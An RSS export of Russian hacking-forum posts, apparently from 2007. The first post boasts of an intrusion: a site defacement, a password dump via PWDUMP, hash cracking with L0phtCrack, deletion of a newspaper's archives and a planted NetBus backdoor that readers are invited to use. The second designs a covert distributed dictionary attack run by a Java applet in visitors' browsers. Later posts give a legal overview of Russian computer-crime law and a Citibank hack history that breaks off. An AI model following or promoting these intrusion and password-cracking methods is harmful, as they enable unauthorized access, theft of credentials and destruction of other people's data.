						&lt;p&gt;С красными невыспанными глазами я подползаю к компьютеру, мы уже договорились ставить страничку сегодня, и я по-своему рад.&amp;#160; Тут появился наш третий друган (Lazybones) и активно принялся входить в курс дела (т.е лазить по диску, толкать идеи и тд).&amp;#160; В таком состоянии Lazy и другой парень обнаружили электронную банковскую систему расчета (или как это называется?) Tango3, мы поглядели, ознакомились и решили,&amp;#160; что так бросать сервак не стоит,&amp;#160; но надо дать шанс админу (поставить свою страничку, чтоб он одумался), и стали обсуждать вариант странички, который сделал друган. ( Это сопровождалось ругательствами и 5-ти минутным разладом комманды, наверное из-за того, что все (особенно я) были невыспавшимися и на нервах). Но все согласовалось, и мы принялись заливать.&amp;#160; После этого страничка выглядела так. &lt;/p&gt;
						&lt;p&gt;Страничка не продержалась и получаса.&amp;#160; Админ там крутился все время (наверное из за разницы во времени). Админ сглупил. ....единственное, что он сделал, было то,что он закрыл юзеру TEST доступ к ФТП !!!!! Где мы и не были то ни разу (ну может разок),&amp;#160; &amp;#160;а на шары оставил тот же пароль,&amp;#160; а также оставил наш NETBUS в /scripts -&amp;#160; короче говоря, ничего не сделал.&amp;#160; Нас это сильно загрузило, т.к. мы как бы приняли обязанности показать, какой он дуб.&amp;#160; &amp;#160;Днем я снова залил страницу,&amp;#160; она продержалась часа 1,5.&amp;#160; Реакции опять никакой не было. &lt;/p&gt;
						&lt;p&gt;Следующая ночь : &lt;/p&gt;
						&lt;p&gt;Выделывая невероятные штуки и страшно извращаясь, мы так и не смогли взять админовские права.&amp;#160; Усталость надвигалась, а желание бросить все это и ощущение собственной тупости ( :) страшно, да? ), давило все сильнее и сильнее. &lt;/p&gt;
						&lt;p&gt;Решение появилось неожиданно,&amp;#160; а вернее даже предположение,&amp;#160; оно оказалось настолько просто, что я просто обалдел и решил его проверить.&amp;#160; Решение состояло в том,&amp;#160; что я понял, что проги-то из /scripts запускаются не под юзернеймом TEST, а с того самого web-аккаунта, из чего можно сделать вывод, что пароли можно элементарно сдампить из реестра с помощью PWDUMP.exe. Я быстренько залил это дело в /scripts и пустил из бровсера.&amp;#160; И что же я увидел,&amp;#160; о чудо, я увидел все пароли (естественно, в закодированном виде) прямо в окне моего бровсера.&amp;#160; Это дело я сохранил как текстовик и дал на сьедение L0phtCrack&#039;у, по словарю он мне открыл почти все пароли (они были элементарными) и за ночь BRUTEFORCE&#039;ом нашел и админовский,&amp;#160; тоже не очень сложный! Дас ис гут ! (распространенное исконно русское выражение). &lt;/p&gt;
						&lt;p&gt;Я послал мессаги членам комманды,&amp;#160; и пошел спаточки. &lt;/p&gt;
						&lt;p&gt;Ночь уже со счета сбился какая : &lt;/p&gt;
						&lt;p&gt;Я делюсь паролями с ребятами, и мы начинаем активную деятельность Админов.&amp;#160; Вначале заходим в /iisadmin/default.html (кто не знает, это для удаленного управления WWW,FTP,Gopher сервисами).Там заходим под админом, меняем алиасы на ФТП (а именно делаем, чтобы с ФТП был доступен диск E :\ где лежит интересная инфа). &lt;/p&gt;
						&lt;p&gt;И принимаемся шариться в поисках интересных вещей (а именно баз данных,&amp;#160; документов и т.д. (не сочтите за вандалов)).За пару дней поиска ничего дельного не нашли и решили выжидать что админ предпримет. ..... &lt;/p&gt;
						&lt;p&gt;Много времени спустя : &lt;/p&gt;
						&lt;p&gt;Тупость админа нас доканала. Он не сделала практически ничего чтобы защитить свой сервак,&amp;#160; &amp;#160;и мы дружным советом решили кончать с ним. Собравшись поздним вечером,&amp;#160; стали удалять все, что было дорого посетителям этого сайта (а именно архивы газетных номеров). Перед этим решили поменять пароль админа с помощью стандартного НТевого средства User Manager. И поменяли на довольно длинный - superpupergod (раньше же был pralpha), чтобы он помучился, если вздумает ломать дубово. Далее удалили все копии настоящей странички (чтобы наша подольше подержалась:))Сервак благодаря тупости админа принял такой вид. &lt;/p&gt;
						&lt;p&gt;Я отвалился и пошел спать. ... &lt;/p&gt;
						&lt;p&gt;И последнее : &lt;/p&gt;
						&lt;p&gt;Админ оказался намнооого дурнее, чем я думал, а главное самоувереннее !&amp;#160; Он восстановил все с резервной копии диска и поменял пароли, но на этой копии оказалась и нами оставленная дыра (в каталоге /scripts файл Patch.exe, который является сервером NETBUS ), так что вы можете сами исследовать их диск даже сейчас и, естественно, получить права админа и т.д. ! (может что интересное найдете ) &lt;/p&gt;
						&lt;p&gt;Резюме : &lt;/p&gt;
						&lt;p&gt;АДМИНЫ, не надо быть такими тупыми! Заметив попытку взлома, ЛАТАЙТЕ ДЫРЫ. (не относится к русским админам ) &lt;br /&gt;Заметьте, как локальный баг помог нам взять админовский аккаунт. (к исследователям сети ). &lt;/p&gt;
						&lt;p&gt;P.S. Если кто не знает, пароли из SAM._ достаются командой expand !&lt;/p&gt;</description>
			<author>mybb@mybb.ru (2525)</author>
			<pubDate>Wed, 05 Dec 2007 21:59:13 +0300</pubDate>
			<guid>https://viktoro2007.apbb.ru/viewtopic.php?pid=31#p31</guid>
		</item>
		<item>
			<title>Некоторые аспекты атаки по словарю</title>
			<link>https://viktoro2007.apbb.ru/viewtopic.php?pid=30#p30</link>
			<description>&lt;p&gt;Всем известна старая атака по словарю. А так же ее дополнение ( имеется в виду атака с нескольких машин ). В общем случае это выглядит так : &lt;br /&gt;1. Клиент(далее Crk-client) обращается к серверу(далее Crk-server) за очередной порцией паролей &lt;br /&gt;2. Crk-server помечает эту порцию как находящуюся в работе &lt;br /&gt;3. Crk-client пробует все пароли из этой порции . &lt;br /&gt;а) Если один из них подошел , отправляется сообщение на Crk-server, и на этом заканчиваем перебор. &lt;br /&gt;б) Если нет то Crk-client отсылает на Crk-server сообщение об окончании перебора и берет новую порцию. &lt;br /&gt;в) Если соединение разрывается по ошибке или Crk-client завис, то он ,естественно ,ничего не отправляет. &lt;br /&gt;4. Crk-server получает сообщение об окончании перебора ( см.3б ), тогда эта порция удаляется как уже обработанная . Или , по time-out&#039;у , Crk-server помечает эту порцию как необработанную ( см.3в ) &lt;/p&gt;
						&lt;p&gt;Теперь непосредственно сама идея. &lt;/p&gt;
						&lt;p&gt;Рассмотрим например chat.ru(далее сервер). Он предоставляет следующие виды сервиса : &lt;br /&gt;1. Размещение страниц &lt;br /&gt;2. Почту ( как POP3 , так и SMTP ) &lt;br /&gt;и т.д. ( остальное нас не интересует) &lt;/p&gt;
						&lt;p&gt;Рассмотрим как можно организовать перебор пароля на ЛЮБОЙ сервис данного сервера. &lt;/p&gt;
						&lt;p&gt;Crk-client можно написать в виде апплета на яве и положить апплет на сервер. Это делается для того , что бы перебором паролей занимались посетители этой страницы ( даже не подозревая об этом ). В логах сервера перебор будет разнесен во времени и пространстве, т.е. попытки будут происходить через неравные промежутки времени и из разных мест. И к тому же невозможно будет определить кто же в действительности подбирает пароль. &lt;/p&gt;
						&lt;p&gt;Этот апплет может коннектиться только с тем сервером откуда он был загружен (chat.ru). Нам это и нужно. &lt;/p&gt;
						&lt;p&gt;Проблема в следующем: как разместить на сервере Crk-server ? Очевидно , что это не получится . Покажем как можно обойтись без Crk-server&#039;а ... &lt;/p&gt;
						&lt;p&gt;Регистрируем два аккаунта(далее WordList и TMP) на сервере, размещаем HTML-страничку с апплетом Crk-client, а словарь ложим в почтовый ящик (WordList) на сервере. Словарь необходимо разбить на порции , например по 20 паролей. При этом каждая порция лежит отдельным письмом. Crk-client при запуске, обращается на WordList по протоколу POP3 и берет первое-же письмо ( удаляя его с WordList , но отсылая его по SMTP на TMP). Далее Crk-client начинает перебор. Если пароль успешно найден, отправляем его по SMTP себе :)) Если перебор завершился впустую , удаляем из TMP эту порцию . Здесь может возникнуть проблемма , когда одновременно работают несколько клиентов. Но &amp;quot;свою&amp;quot; порцию можно найти используя команду POP3 TOP msg n. &lt;/p&gt;
						&lt;p&gt;Если Crk-client не доработал из-за ошибки , то эта порция не потеряется и ее можно переместить из TMP в WordList . Делать это придется или вручную ( что нежелательно ) или возложить эту функцию на Crk-client. Тут возникает еще одна проблема, как отличить в TMP порции которые обрабатываются сейчас от тех которые надо переместить в WordList . Для этого нужно анализировать дату отправки порции и текущее время. Если разница порядка часа , то эту порцию перемещаем в WordList. &lt;/p&gt;
						&lt;p&gt;Скорость перебора зависит от качества связи с сервером и от количества посетителей этой странички. Как сделать страничку посещаемой - тема для отдельной статьи :))) &lt;/p&gt;
						&lt;p&gt;Сейчас я работаю над реализацией этого алгоритма. Пока что это только теория. В процессе работы возникло сомнение , а может ли апплет работать с почтовыми протоколами ? Оказалось, может, пример прилагается . &lt;/p&gt;
						&lt;p&gt;Теперь немного о применение вышеописанного. На первый взгляд может показаться , что это работает только для халявных серверов , но это не так. Это работает и для серверов провайдеров , если только HTTP , POP3 и SMTP ослуживаются одной машиной. &lt;/p&gt;
						&lt;p&gt;P.S. С некоторыми изменениями, этот алгоритм можно использовать для серверов которые предоставляют только HTTP. Правда для этого сервер должен поддерживать методы DELETE и PUT , ну и GET , естественно.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (2525)</author>
			<pubDate>Wed, 05 Dec 2007 21:57:56 +0300</pubDate>
			<guid>https://viktoro2007.apbb.ru/viewtopic.php?pid=30#p30</guid>
		</item>
		<item>
			<title>Хакер и Закон</title>
			<link>https://viktoro2007.apbb.ru/viewtopic.php?pid=29#p29</link>
			<description>&lt;p&gt;Целью настоящей работы является попытка несколько развеять устоявшееся мнение о полной ненаказуемости хакерской деятельности основываясь на действующем российском законодательстве. При анализе деятельности и определении мер ответственность основной акцент делается на уголовной ответственности, как наиболее суровой и четко регламентированной. Представляется, что исчерпывающе рассматривать меры гражданско-правовой ответственности не представляется целесообразным в связи с множеством их особенностей в каждом конкретном случае. &lt;/p&gt;
						&lt;p&gt;В настоящей работе дается попытка классифицировать (с юридической точки зрения) различные направления деятельности многотысячной армии российских хакеров. Предложенная классификация, как и основные положения настоящего материала являются личным мнением автора, поэтому возможно статья не отвечает требованиям всесторонности, полноты и объективности. Возможно, некоторые положения не бесспорны, поэтому автор с удовольствием примет замечания и конструктивную критику. &lt;/p&gt;
						&lt;p&gt;Для удобства восприятия и изложения, правонарушения связанные с использованием компьютера (их сети) разделены на те, когда компьютерная информация является основной целью посягательства и те, когда компьютер и/или сеть являются средством достижения иных целей. &lt;/p&gt;
						&lt;p&gt;Итак, классификация: &lt;/p&gt;
						&lt;p&gt;I. Компьютерная информация является целью посягательства.&lt;br /&gt;1. Редактирование программы.&lt;br /&gt;На этот счет отечественное законодательство содержит ряд интересных положений, как допускающих подобную деятельность, так и карающих её. &lt;/p&gt;
						&lt;p&gt;В соответствии со ст. 25 Закона РФ &amp;quot;Об авторском праве и смежных правах&amp;quot;, лицо, правомерно владеющее экземпляром программы для ЭВМ, вправе без получения разрешения автора или иного обладателя исключительных прав на использование произведения и без выплаты дополнительного вознаграждения внести в программу для ЭВМ или базу данных изменения, осуществляемые исключительно в целях ее функционирования на технических средствах пользователя, осуществлять любые действия, связанные с функционированием программы для ЭВМ или базы данных в соответствии с ее назначением, а также исправление явных ошибок, если иное не предусмотрено договором с автором. &lt;/p&gt;
						&lt;p&gt;В соответствии с п.3 ст. 25, применение положений статьи не должно наносить неоправданного ущерба нормальному использованию программы для ЭВМ или базы данных и не должно ущемлять необоснованным образом законные интересы автора или иного обладателя исключительных прав на программу для ЭВМ или базу данных. &lt;/p&gt;
						&lt;p&gt;Положения указанного закона дублируются в ст. 15 Закона РФ &amp;quot;О правовой охране программ для электронных вычислительных машин и баз данных&amp;quot;, поэтому приводить её целиком не представляется целесообразным. Однако, ст. 15, помимо указанных, предоставляет законному владельцу программы право &amp;quot;осуществлять адаптацию программы для ЭВМ или базы данных&amp;quot;. Под &amp;quot;адаптацией&amp;quot; законодатель понимает &amp;quot;внесение изменений, осуществляемых исключительно в целях обеспечения функционирования программы для ЭВМ или базы данных на конкретных технических средствах пользователя или под управлением конкретных программ пользователя&amp;quot;, что, конечно же, допускает широкое толкование закона. &lt;/p&gt;
						&lt;p&gt;С другой стороны, в зависимости от цели редактирования программы, подобная деятельность может быть и уголовно наказуема, например по Статье 273 Уголовного Кодекса РФ (&amp;quot;Создание, использование и распространение вредоносных программ для ЭВМ&amp;quot;) устанавливающей ответственность за &amp;quot;внесение изменений в существующие программы, заведомо приводящих к несанкционированному уничтожению, блокированию, модификации либо копированию информации&amp;quot;. &lt;/p&gt;
						&lt;p&gt;Так же в данном случае возможно нарушение авторских прав, что может предполагать как уголовную (ст. 146 УК РФ &amp;quot;Нарушение авторских и смежных прав&amp;quot;), так и гражданско-правовую ответственность. &lt;/p&gt;
						&lt;p&gt;Таким образом получается, что законодатель в целом допускает редактирование чужих программ если оно осуществляется в разумных пределах. К сожалению, несовершенство законодательства и широкие возможности его толкования, допускают неоднозначное его понимание, что фактически расширяет перечень оснований (и обоснований) редактирования чужих программ. &lt;/p&gt;
						&lt;p&gt;2. Создание &amp;quot;вспомогательной&amp;quot; программы, взаимодействующей с имеющейся &lt;br /&gt;а) с изменением исходного кода, &lt;br /&gt;б) без такового изменения.&lt;br /&gt;Представляется, что данная деятельность может попадать под действие ст. 273 УК РФ, т.к. она устанавливает ответственность за &amp;quot;Создание программ для ЭВМ: заведомо приводящих к несанкционированному уничтожению, блокированию, модификации либо копированию информации, нарушению работы ЭВМ, системы ЭВМ или их сети&amp;quot;. &lt;/p&gt;
						&lt;p&gt;В тексте статьи не указывается местонахождение информации подвергающейся воздействию, поэтому можно предположить, что статья устанавливает ответственность за изменение программы как на носителе, так и в памяти компьютера. Безусловно, второй вариант юридически более трудно доказуем, но не является невозможным. Применение первого варианта чревато также нарушением авторских прав, что предполагает применение соответствующих норм уголовного или гражданского права. &lt;/p&gt;
						&lt;p&gt;3. Декомпилирование программы. &lt;br /&gt;Декомпилирование программы по отечественному законодательству не носит противоправный характер, если осуществляется в соответствии с п. 2 ст. 25 Закона РФ &amp;quot;Об авторском праве и смежных правах&amp;quot;. В соответствии с ним, лицо, правомерно владеющее экземпляром программы для ЭВМ, вправе без согласия автора или иного обладателя исключительных прав и без выплаты дополнительного вознаграждения воспроизвести и преобразовать объектный код в исходный текст (декомпилировать программу для ЭВМ) или поручить иным лицам осуществить эти действия, если они необходимы для достижения способности к взаимодействию независимо разработанной этим лицом программы для ЭВМ с другими программами, которые могут взаимодействовать с декомпилируемой программой ( а также для изучения кодирования и структуры программы [Закон о правовой охране программ для ЭВМ и БД] ), при соблюдении следующих условий: &lt;/p&gt;
						&lt;p&gt;1) информация, необходимая для достижения способности к взаимодействию, ранее не была доступна этому лицу из других источников; &lt;/p&gt;
						&lt;p&gt;2) указанные действия осуществляются в отношении только тех частей декомпилируемой программы для ЭВМ, которые необходимы для достижения способности к взаимодействию; &lt;/p&gt;
						&lt;p&gt;3) информация, полученная в результате декомпилирования, может использоваться лишь для достижения способности к взаимодействию независимо разработанной программы для ЭВМ с другими программами, не может передаваться иным лицам, за исключением случаев, если это необходимо для достижения способности к взаимодействию независимо разработанной программы для ЭВМ с другими программами, а также не может использоваться для разработки программы для ЭВМ, по своему виду существенно схожей с декомпилируемой программой для ЭВМ, или для осуществления любого другого действия, нарушающего авторское право. &lt;/p&gt;
						&lt;p&gt;Итак, очевидно, что декомпилирование программы не носит противоправный характер, если осуществляется для достижения способности к взаимодействию программам, для изучения кодирования и структуры программы или обосновывается этими целями. &lt;/p&gt;
						&lt;p&gt;4. Копирование программного обеспечения.&lt;br /&gt;Законодательство предусматривает только один случай, когда копирование ПО не носит противоправный характер. В соответствии с п. 1 ст. 25 Закона РФ &amp;quot;Об авторском праве и смежных правах&amp;quot;, лицо, правомерно владеющее экземпляром программы для ЭВМ или базы данных, вправе без получения разрешения автора или иного обладателя исключительных прав на использование произведения и без выплаты дополнительного вознаграждения изготовить копию программы для ЭВМ или базы данных при условии, что эта копия предназначена только для архивных целей и для замены правомерно приобретенного экземпляра в случаях, когда оригинал программы для ЭВМ или базы данных утерян, уничтожен или стал непригоден для использования. При этом копия программы для ЭВМ или базы данных должна быть уничтожена в случае, если владение экземпляром этой программы для ЭВМ или базы данных перестает быть правомерным. &lt;/p&gt;
						&lt;p&gt;Как указывается в п.3 этой же статьи, применение её положений не должно наносить неоправданного ущерба нормальному использованию программы для ЭВМ или базы данных и не должно ущемлять необоснованным образом законные интересы автора или иного обладателя исключительных прав на программу для ЭВМ или базу данных. &lt;/p&gt;
						&lt;p&gt;Таким образом, получается, что законно копирование программного обеспечения вполне возможно, при наличии обоснования указанного в законе, при этом, конечно, желательно быль &amp;quot;правомерным владельцем программы&amp;quot;. &lt;/p&gt;
						&lt;p&gt;5. Использование или распространение противозаконных программ и их носителей.&lt;br /&gt;Под противозаконной в настоящем пункте понимается программа, которая ориентированная на несанкционированное уничтожение, блокирование, модификацию либо копирование информации, нарушение работы ЭВМ, системы ЭВМ или их сети. За &amp;quot;использование либо распространение таких программ или машинных носителей с такими программами&amp;quot; предусмотрена уголовная ответственность в ст. 273 УК РФ. &lt;/p&gt;
						&lt;p&gt;В зависимости от характера вреда возможно наступление гражданско-правовой ответственности. &lt;/p&gt;
						&lt;p&gt;В данном пункте не идет речь о &amp;quot;противозаконном использовании&amp;quot; или &amp;quot;противозаконном распространении&amp;quot; программного обеспечения, связанного с нарушением авторского права, т.к. это является отдельной областью, рассмотрение которой достойно отдельного рассмотрения. &lt;/p&gt;
						&lt;p&gt;6. Деятельность в компьютерной сети.&lt;br /&gt;Современное Российское гражданское право почти не регламентирует деятельность связанную с компьютерными сетями в России, не регулирует взаимоотношения фирм - провайдеров и клиентов, правила поведения в сети и рамки его допустимости. &lt;/p&gt;
						&lt;p&gt;Однако, уголовное законодательство предусматривает два случая наступления ответственности за деяния связанные с компьютерной сетью:&lt;/p&gt;
						&lt;p&gt;а) Статья 272 УК РФ (Неправомерный доступ к компьютерной информации), устанавливает ответственность за &amp;quot;неправомерный доступ к охраняемой законом компьютерной информации, то есть информации на машинном носителе, в электронно-вычислительной машине (ЭВМ), системе ЭВМ или их сети, если это деяние повлекло уничтожение, блокирование, модификацию либо копирование информации, нарушение работы ЭВМ, системы ЭВМ или их сети&amp;quot;. &lt;/p&gt;
						&lt;p&gt;б) Статья 274 УК РФ (Нарушение правил эксплуатации ЭВМ, системы ЭВМ или их сети) предусматривает ответственность за &amp;quot;нарушение правил эксплуатации ЭВМ, системы ЭВМ или их сети лицом, имеющим доступ к ЭВМ, системе ЭВМ или их сети, повлекшее уничтожение, блокирование или модификацию охраняемой законом информации ЭВМ, если это деяние причинило существенный вред&amp;quot;. Понятие &amp;quot;существенности&amp;quot; вреда является оценочным и в каждом конкретном случае определяется индивидуально. &lt;/p&gt;
						&lt;p&gt;В данном разделе достаточно часто упоминались те или иные формы нарушения авторского права. Каковы же санкции, которые могут быть применены к нарушителю? &lt;/p&gt;
						&lt;p&gt;Во-первых, уголовная ответственность, - ст. 146 (Нарушение авторских и смежных прав) УК РФ. &lt;/p&gt;
						&lt;p&gt;Во-вторых, административная, - ст. 150.4 (Продажа, сдача в прокат и иное незаконное использование экземпляров произведений или фонограмм) Кодекса РСФСР об административных правонарушениях (эта статья применима к компьютерным программам, т.к. в статье 7 закона &amp;quot;Об авторском праве и смежных правах&amp;quot;, программы для ЭВМ приравнены к литературным произведениям со всеми вытекающими последствиями). &lt;/p&gt;
						&lt;p&gt;В-третьих, гражданско-правовая ответственность. В частности, при нарушении авторских прав, в соответствии со ст.18 Закона о правовой охране программ для ЭВМ и БД, автор программы и иные правообладатели вправе требовать: &lt;/p&gt;
						&lt;p&gt;признания прав; &lt;br /&gt;восстановления положения, существовавшего до нарушения права, и прекращения действий, нарушающих право или создающих угрозу его нарушения; &lt;br /&gt;возмещения причиненных убытков, в размер которых включается сумма доходов, неправомерно полученных нарушителем. Статья 15 Гражданского кодекса РФ, определяет, что под убытками понимаются: а) расходы, которые лицо, чье право нарушено, произвело или должно будет произвести для восстановления нарушенного права; б) утрата или повреждение его имущества (реальный ущерб); в) неполученные доходы, которые это лицо получило бы при обычных условиях гражданского оборота, если бы его право не было нарушено (упущенная выгода). Если лицо, нарушившее право, получило вследствие этого доходы, лицо, право которого нарушено, вправе требовать возмещения наряду с другими убытками упущенной выгоды в размере не меньшем, чем такие доходы; &lt;br /&gt;выплаты нарушителем компенсации в определяемой по усмотрению суда, арбитражного или третейского суда сумме от 5000-кратного до 50000-кратного установленного Законом размера минимальной месячной оплаты труда, в случаях нарушения с целью извлечения прибыли, вместо возмещения убытков. Такая норма содержится в Законе &amp;quot;О правовой охране программ для электронных вычислительных машин и баз данных&amp;quot;, однако, следует скорее применять ст. 49 Закона &amp;quot;Об авторском праве и смежных правах&amp;quot;, т.о. правильнее утверждать, что автор программы (иные правообладатели) вправе требовать выплаты компенсации в сумме от 10 до 50000 минимальных размеров оплаты труда определяемой по усмотрению суда или арбитражного суда, вместо возмещения убытков или взыскания дохода; &lt;br /&gt;принятия иных, предусмотренных законодательными актами мер, связанных с защитой их прав (их неполный перечень даётся в статье 12 Гражданского Кодекса РФ). &lt;br /&gt;&amp;quot;Помимо возмещения убытков, взыскания дохода или выплаты компенсации в твердой сумме суд или арбитражный суд за нарушение авторских или смежных прав взыскивает штраф в размере 10 процентов от суммы, присужденной судом в пользу истца&amp;quot; - подобное правило в виде возможной санкции содержится в Законе &amp;quot;О правовой охране программ для электронных вычислительных машин и баз данных&amp;quot; и в виде обязательной - в Законе &amp;quot;Об авторском праве и смежных правах&amp;quot;. &lt;/p&gt;
						&lt;p&gt;Нелегальные экземпляры программного обеспечения подлежат обязательной конфискации по решению суда. Конфискованные экземпляры уничтожаются или передаются обладателю авторских или смежных прав по его просьбе. Как правило, при этом, также, конфискуются материалы и оборудование, используемые для изготовления и воспроизведения незаконных экземпляров программного обеспечения. &lt;/p&gt;
						&lt;p&gt;II. Компьютер и/или сеть являются средством достижения целей. &lt;br /&gt;Все выше рассмотренное можно с определенной долей условности считать верным лишь при условии, что компьютер (компьютерная информация, сеть) используется как конечная цель деятельности, а если этот инструментарий рассматривать как средство (например, для искажения информации на счете в банке) то тут возможна ответственность и по другим статьям УК РФ. Например, если была совершена кража денежных средств (ст.158 УК РФ) с нарушением правил эксплуатации сети (ст.274 УК РФ), то уголовная ответственность возможна по совокупности преступлений. &lt;/p&gt;
						&lt;p&gt;Не претендуя на исчерпывающий список противоправных деяний, которые могут быть совершены с использованием компьютера и/или сети, ниже представлен перечень статей УК РФ под действие которых они могут попадать: &lt;/p&gt;
						&lt;p&gt;Статья 129. Клевета (распространение заведомо ложных сведений, порочащих честь и достоинство другого лица или подрывающих его репутацию). &lt;br /&gt;Статья 130. Оскорбление (унижение чести и достоинства другого лица, выраженное в неприличной форме). &lt;br /&gt;Статья 137. Нарушение неприкосновенности частной жизни (незаконное собирание или распространение сведений о частной жизни лица, составляющих его личную или семейную тайну, без его согласия либо распространение этих сведений в публичном выступлении, публично демонстрирующемся произведении или средствах массовой информации, если эти деяния совершены из корыстной или иной личной заинтересованности и причинили вред правам и законным интересам граждан). &lt;br /&gt;Статья 138. Нарушение тайны переписки, телефонных переговоров, почтовых, телеграфных или иных сообщений. &lt;br /&gt;Статья 146. Нарушение авторских и смежных прав (незаконное использование объектов авторского права или смежных прав, а равно присвоение авторства, если эти деяния причинили крупный ущерб). &lt;br /&gt;Статья 147. Нарушение изобретательских и патентных прав (незаконное использование изобретения, полезной модели или промышленного образца, разглашение без согласия автора или заявителя сущности изобретения, полезной модели или промышленного образца до официальной публикации сведений о них, присвоение авторства или принуждение к соавторству, если эти деяния причинили крупный ущерб). &lt;br /&gt;Статья 158. Кража (тайное хищение чужого имущества). &lt;br /&gt;Статья 159. Мошенничество (хищение чужого имущества или приобретение права на чужое имущество путем обмана или злоупотребления доверием). &lt;br /&gt;Статья 163. Вымогательство (требование передачи чужого имущества или права на имущество или совершения других действий имущественного характера под угрозой применения насилия либо уничтожения или повреждения чужого имущества, а равно под угрозой распространения сведений, позорящих потерпевшего или его близких, либо иных сведений, которые могут причинить существенный вред правам или законным интересам потерпевшего или его близких). &lt;br /&gt;Статья 165. Причинение имущественного ущерба путем обмана или злоупотребления доверием. &lt;br /&gt;Статья 167. Умышленные уничтожение или повреждение имущества (если эти деяния повлекли причинение значительного ущерба). &lt;br /&gt;Статья 168. Уничтожение или повреждение имущества по неосторожности (в крупном размере). &lt;br /&gt;Статья 182. Заведомо ложная реклама (использование в рекламе заведомо ложной информации относительно товаров, работ или услуг, а также их изготовителей (исполнителей, продавцов), совершенное из корыстной заинтересованности и причинившее значительный ущерб). &lt;br /&gt;Статья 183. Незаконные получение и разглашение сведений, составляющих коммерческую или банковскую тайну (собирание сведений, составляющих коммерческую или банковскую тайну, путем похищения документов, подкупа или угроз, а равно иным незаконным способом в целях разглашения либо незаконного использования этих сведений). &lt;br /&gt;Таким образом, представляется, что, например, если был совершен только &amp;quot;неправомерный доступ к компьютерной информации&amp;quot;, то предполагается ответственность по ст.272 УК РФ. Если же с использованием компьютера было осуществлено &amp;quot;нарушение тайны переписки, телефонных переговоров, почтовых, телеграфных или иных сообщений&amp;quot;, то предполагается ответственность по ст.138 УК РФ. Ну а если &amp;quot;нарушение тайны переписки, телефонных переговоров, почтовых, телеграфных или иных сообщений&amp;quot; было осуществлено с &amp;quot;неправомерным доступом к компьютерной информации&amp;quot;, то возможна ответственность по совокупности деяний. &lt;/p&gt;
						&lt;p&gt;Рассмотрение различных направлений хакерской деятельности в сочетании с законодательными актами показывает сильное отставание и несовершенство современной правовой системы. Тем не менее, видно, что российское право уже на современном этапе позволяет привлекать к ответственности (в т.ч. и уголовной) за наиболее опасные деяния в рассматриваемой сфере. &lt;/p&gt;
						&lt;p&gt;Хочется также отметить, что если для привлечения к ответственности по нормам уголовного кодекса необходимо заставить работать сложный уголовно-правовой механизм привлечения к ответственности, в сочетании с соответствующим желанием и рвением правоохранительных органов, то для привлечения к гражданско-правовой ответственности достаточно желания любого лица, право которого нарушено. Впрочем, механизм привлечения к уголовной ответственности также может функционировать весьма оперативно при наличии определенного давления с пострадавшей стороны. &lt;/p&gt;
						&lt;p&gt;Итак, представляется, что общая информация по современному состоянию законодательства дана, ну а что делать с законом: соблюдать, обходить или нарушать пусть каждый для себя решает сам, но помните, что даже &amp;quot;великий мошенник ХХ века&amp;quot; Остап Бендер всегда чтил уголовный кодекс!&lt;/p&gt;</description>
			<author>mybb@mybb.ru (2525)</author>
			<pubDate>Wed, 05 Dec 2007 21:56:47 +0300</pubDate>
			<guid>https://viktoro2007.apbb.ru/viewtopic.php?pid=29#p29</guid>
		</item>
		<item>
			<title>Странички истории, или как действительно был взломан Сити-Банк</title>
			<link>https://viktoro2007.apbb.ru/viewtopic.php?pid=28#p28</link>
			<description>&lt;p&gt;Лето 1995 года было действительно жарким, в это время мировая общественность всколыхнулась от сенсационной новости-простой российский хакер по имени Владимир Левин взломал электронную защиту Сити-Банка и похитил 400 000 доллаpов. Попpобуем пpоанализиовать эту истоpию еще pаз с высот 1997&amp;#160; года. &lt;/p&gt;
						&lt;p&gt;Для этого я пpедлагаю pассмотpеть тpи веpсии, котоpые на данный момент имеют место. &lt;/p&gt;
						&lt;p&gt;Начнем с официальной. Согласно ей, во взломе банка участвовало несколько человек. Сначала pаботал один компьютеp, потом втоpой, потом тpетий и т.д. Благодаpя такому &amp;quot;штуpму&amp;quot; система защиты дpогнула и &amp;quot;хакеpам&amp;quot; удалось похитить деньги. Напомню, что им удалось пеpевести на подставные счета 10 000 000 доллаpов. Вернее, они так считали, что пеpевели. В какой-то момент вpемени администpатоу банка удалось засечь их деятельность и веpнуть 960 000 доллаpов обpатно. Но 400 000 доллаpов так до сих поp и не найдено. &lt;/p&gt;
						&lt;p&gt;Втоpая веpсия pождена нашимим пpавоохpанительными оpганами, которые также имеют свой взгляд на пpоизошедшие события. В качестве небольшой пpелюдии к ней скажу несколько слов о хакеpах. Кто они такие и чем занимаются, вам известно. В компьютеpной сети Интеpнет, встpетить наших соотечественников можно где-угодно, особенно пpофессиональных &amp;quot; взломщиков&amp;quot;. Поэтому не исключено, что в опpеделенной момент на ВВS банка находилось несколько наших человек, котоpым было пpосто интеpесно, что находится на их сеpвеpе. &lt;/p&gt;
						&lt;p&gt;А никакого огpабления собственно говоpя не было. Зачем же тогда весь этот шум, спpаведливо спpосите Вы? Да все достаточно пpосто- чтобы напомнить своему пpавительству о так называемой &amp;quot;советской&amp;quot; угpозе, котоpая тепеpь имеет место в такой интеpесной фоpме. Если веpить этой веpсии, то можно понять каким обpазом господин Левин выехал в Англию, где его собственно говоpя и &amp;quot;скpутили&amp;quot;. &lt;/p&gt;
						&lt;p&gt;Вспомните пеpвую веpсию, согласно ей администатоp успел веpнуть 960 000 доллаpов, а так же вычислить откуда идет команда о пеpеводе денег. Если это так, то навеpное логично было бы связаться с нашими пpавоохpанительныими оpганами и задеpжать пpеступника на теpитоpии России. Но этого не было сделано. Почему? Неизвестно. Иными словами, господина Левина&amp;#160; кpуто подставили, pади каких-то там интеpесов. &lt;/p&gt;
						&lt;p&gt;Тепеpь пеpейдем к веpсии тех людей, котоpые лично знали Левина. В свое вpемя он был одним из Санкт-Петеpбугских НОДов сети ФИДО. По отзывам, он чисто психологически не мог совеpшить кpажу. Ну не тот менталитет у него. &lt;/p&gt;
						&lt;p&gt;Что же думают сами &amp;quot;хакеpы&amp;quot; относительно всех этих событий. Вашему коppеспонденту удалось встpетиться с человеком, котоpый, в силу своего хобби, оказался пpактически в центpе всех этих событий. Вот что он мне pасскал: &lt;/p&gt;
